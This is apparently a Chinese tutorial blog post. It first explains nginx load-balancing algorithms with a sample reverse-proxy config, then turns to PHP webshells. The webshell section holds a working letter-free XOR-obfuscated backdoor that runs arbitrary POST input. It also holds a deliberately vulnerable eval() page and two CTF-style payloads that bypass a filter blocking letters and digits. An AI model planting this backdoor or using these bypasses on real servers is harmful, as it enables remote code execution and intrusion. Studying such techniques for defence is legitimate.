认识负载均衡||WEBSHELL

目录

一、负载均衡

1.nginx负载均衡算法

2.nginx反向代理-负载均衡

二、webshell

1.构造不含数字和字母的webshell

2.如何绕过


一、负载均衡

1.nginx负载均衡算法

(1)轮询(默认)每个请求按时间顺序逐一分配到不同的后端服务,如果后端某台服务器死机,自动剔除故障系统,使用户访问不受影响。

(2)weight(轮询权值)weight的值越大分配到的访问概率越高,主要用于后端每台服务器性能不均衡的情况下。仅仅为在主从的情况下设置不同的权值,达到合理有效的地利用主机资源。

(3)ip_hash 源地址哈希法源地址哈希的思想是根据获取客户端的IP地址,通过哈希函数计算得到的一个数值,用该数值对服务器列表的大小进行取模运算,得到的结果便是客服端要访问服务器的序号。采用源地址哈希法进行负载均衡,同一IP地址的客户端,当后端服务器列表不变时,它每次都会映射到同一台后端服务器进行访问。

(4)fair比 weight、ip_hash更加智能的负载均衡算法,fair算法可以根据页面大小和加载时间长短智能地进行负载均衡,也就是根据后端服务器的响应时间 来分配请求,响应时间短的优先分配。Nginx本身不支持fair,如果需要这种调度算法,则必须安装upstream_fair模块。

(5)url_hash按访问的URL的哈希结果来分配请求,使每个URL定向到一台后端服务器,可以进一步提高后端缓存服务器的效率。Nginx本身不支持url_hash,如果需要这种调度算法,则必须安装Nginx的hash软件包。

其中须注意ip_hash可以保持一个长链接,会话链接,保持session。

2.nginx反向代理-负载均衡

首先修改nginx.conf的配置文件。

复制代码
该部分添加到nginx.conf的http中:
upstream nginx_php{
   # 30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
   server 192.168.41.132 weight=100 max_fails=2 fail_timeout=30s; 
   server 192.168.41.1 weight=200 max_fails=2 fail_timeout=30s;
}

该部分添加到nginx.conf的server中:
server {
    location / {
        root   html;
        index  index.html index.htm index.jsp index.ftl;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http://nginx_php;
    }
}

然后分别在192.168.41.132中分别创建对应的页面,用于展示负载是否成功。

192.168.41.132的页面:

然后在192.168.41.1同样搭建一个页面:

然后重启nginx进行访问。

首先跳转到192.168.41.132的页面。

通过刷新跳转到192.168.41.1的页面,再次刷新依然是该页面,因为这个页面的权重是2。

再次刷新后又跳转回192.168.41.128的页面。

总结:通过nginx反向代理-负载均衡可以很大的改善网站的访问效率。

二、webshell

1.构造不含数字和字母的webshell

复制代码
<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";   #通过异或操作得到B
    $__();
?>
运行结果为:Hello Angel_Kitty

下面是个非常简单的非数字字母的PHP后门:

复制代码
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

2.如何绕过

通过案例进行介绍。

首先创建web.php和flag.php。

复制代码
web.php:
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
?>

flag.php:
<?php
function getFlag(){
    echo "yanan{i love yanan}";
}

然后运行,首先查看一下运行的web.php:

通过写payload实现输出flag.php的内容。

第一种payload:?code=_="\`{{{"\^"?\<\>/";{$}[]();&_=getFlag

最终运行结果如下:

第二种payload:?code=_=\~%98%9A%8B%B9%93%9E%98;_();

第二种主要就是进行一个取反的操作实现绕过。

可见与flag.php中的构造函数中的echo输出结果一致,最终实现绕过的效果。

相关推荐
代码小将几秒前
Leetcode76覆盖最小子串
笔记·学习·算法
朱剑君18 分钟前
第十天——贪心算法——深度总结
算法·贪心算法
序属秋秋秋1 小时前
《数据结构初阶》【二叉树 精选9道OJ练习】
c语言·数据结构·c++·算法·leetcode
Tiny番茄1 小时前
LeetCode 235. 二叉搜索树的最近公共祖先 LeetCode 701.二叉搜索树中的插入操作 LeetCode 450.删除二叉搜索树中的节点
数据结构·算法·leetcode
S01d13r7 小时前
LeetCode 解题思路 48(编辑距离、只出现一次的数字)
算法·leetcode·职场和发展
C_Liu_7 小时前
C语言:深入理解指针(5)
java·c语言·算法
small_wh1te_coder7 小时前
从经典力扣题发掘DFS与记忆化搜索的本质 -从矩阵最长递增路径入手 一步步探究dfs思维优化与编程深度思考
c语言·数据结构·c++·stm32·算法·leetcode·深度优先
枫景Maple7 小时前
LeetCode 45. 跳跃游戏 II(中等)
算法·leetcode
এ᭄画画的北北7 小时前
力扣-236.二叉树的最近公共祖先
算法·leetcode
z人间防沉迷k9 小时前
堆(Heap)
开发语言·数据结构·笔记·python·算法